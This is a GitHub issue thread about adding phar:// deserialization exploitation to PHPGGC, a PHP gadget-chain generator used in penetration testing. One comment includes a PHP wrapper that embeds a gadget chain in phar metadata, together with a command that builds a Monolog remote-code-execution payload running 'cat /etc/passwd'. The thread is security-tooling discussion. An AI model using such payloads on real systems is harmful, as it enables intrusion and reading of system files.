Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Integrate PHARGGC to PHPGGC #22

Closed
farisv opened this issue Nov 13, 2018 · 6 comments
Closed

Integrate PHARGGC to PHPGGC #22

farisv opened this issue Nov 13, 2018 · 6 comments

Comments

@farisv
Copy link

farisv commented Nov 13, 2018

Exploitation on implicit PHP unserialization via phar:// wrapper is commonly needed during pentest. The forked version of PHPGGC with phar exploitation support is available at https://github.com/s-n-t/phpggc. But, since there are many changes in PHPGGC and maybe there will be more changes to PHPGGC in the future, I think it's better to integrate the PHARGGC to main repo of PHPGGC.

@cfreal cfreal mentioned this issue Nov 13, 2018
@cfreal
Copy link
Collaborator

cfreal commented Nov 13, 2018

I'm on it :)

@mpchadwick
Copy link
Contributor

I think you could just use the wrapper feature, no?

@mpchadwick
Copy link
Contributor

mpchadwick commented Nov 15, 2018

FYI confirmed this works...

$ cat wrapper.php
<?php

function wrapper($chain) {
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($chain);
    $phar->stopBuffering();
}
$ ./phpggc -w wrapper.php monolog/rce1 system 'cat /etc/passwd'

test.phar will contain monolog RCE payload in this case

@cfreal
Copy link
Collaborator

cfreal commented Nov 15, 2018

Hi !
I'm currently implementing the phar:// thing, and although using --wrapper works in some cases, it does not allow everything. For instance, the fast destruct technique I implemented last patch (which is bugged btw, patch coming soon) requires us to manually edit the serialized string, so setMetadata($object) won't do. PHPGGC will support TAR, ZIP and PHAR phar files, along with the JPEG polyglot technique @s_n_t described in his BlackHat talk, and some more. Hopefully I'll be done today :)

@cfreal
Copy link
Collaborator

cfreal commented Nov 15, 2018

Done ! I added a few implementation details for people that are interested. #24

@farisv
Copy link
Author

farisv commented Nov 16, 2018

Thank you so much!

@cfreal cfreal closed this as completed Nov 16, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants